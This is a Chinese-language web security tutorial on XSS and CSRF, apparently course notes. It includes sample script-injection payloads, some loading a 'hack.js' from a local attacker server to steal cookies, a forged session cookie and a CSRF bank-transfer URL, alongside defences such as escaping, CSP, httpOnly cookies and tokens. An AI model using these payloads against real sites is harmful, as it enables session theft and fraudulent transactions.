前端安全
XSS
跨站脚本攻击有可能造成以下影响:
利用虚假输入表单骗取用户个人信息。
利用脚本窃取用户的 Cookie 值，被害者在不知情的情况下，帮助攻击者发送恶意请求。
显示伪造的文章或图片
反射型 - url 参数直接注入
// 普通 http://localhost:3000/?from=china
// alert尝试 http://localhost:3000/?from=<script>alert(3)</script>
// 获取Cookie http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"> </script>
// 短域名伪造 https://dwz.cn/
// 伪造cookie入侵 chrome document.cookie="kaikeba:sess=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNT Y1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
存储型 - 存储到 DB 后读取时注入
// 评论 <script>alert(1)</script>
// 跨站脚本注入
我来了<script src="http://localhost:4000/hack.js"></script>
防范 XSS#
- 对于外部传入的内容进行充分转义。
- 开启 CSP（Content Security Policy，内容安全策略），规定客户端哪些外部资源可以加载和执行，降低 XSS 风险。
- 设置 Cookie httpOnly 属性，禁止 JavaScript 读取 Cookie 防止被窃取
CSRF
例子
-
受害者 Bob 在银行有一笔存款，通过对银行的网站发送请求
http://bank.example/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款转到 bob2 的账号下。 -
通常情况下，该请求发送到网站后，服务器会先验证该请求是否来自一个合法的 session，并且该 session 的用户 Bob 已经成功登陆。
-
黑客 Mallory 自己在该银行也有账户，他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行：
http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。 -
但是这个请求来自 Mallory 而非 Bob，他不能通过安全认证，因此该请求不会起作用。
-
这时，Mallory 想到使用 CSRF 的攻击方式，他先自己做一个网站，在网站中放入如下代码：
src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”，并且通过广告等诱使 Bob 来访问他的网站。 -
当 Bob 访问该网站时，上述 url 就会从 Bob 的浏览器发向银行，而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。
-
大多数情况下，该请求会失败，因为他要求 Bob 的认证信息。
-
但是，如果 Bob 当时恰巧刚访问他的银行后不久，他的浏览器与银行网站之间的 session 尚未过期，浏览器的 cookie 之中含有 Bob 的认证信息。
-
这时，悲剧发生了，这个 url 请求就会得到响应，钱将从 Bob 的账号转移到 Mallory 的账号，而 Bob 当时毫不知情。
-
等以后 Bob 发现账户钱少了，即使他去银行查询日志，他也只能发现确实有一个来自于他本人的合法请求转移了资金，没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外
阻止 ASP.NET MVC 应用程序中的跨站点请求伪造 (CSRF) 攻击
解决方法
验证 HTTP Referer
Referer 易被篡改
在请求地址中添加 token 并验证
- 原理：服务端生成 CSRF Token （通常存储在 Session 中），用户提交请求时携带上 Token，服务端验证 Token 是否有效。
- 优点：能比较有效的防御 CSRF （前提是没有 XSS 漏洞泄露 Token）。
- 缺点：大型网站中 Session 存储会增加服务器压力，且若使用分布式集群还需要一个公共存储空间存储 Token，否则可能用户请求到不同服务器上导致用户凭证失效；有一定的工作量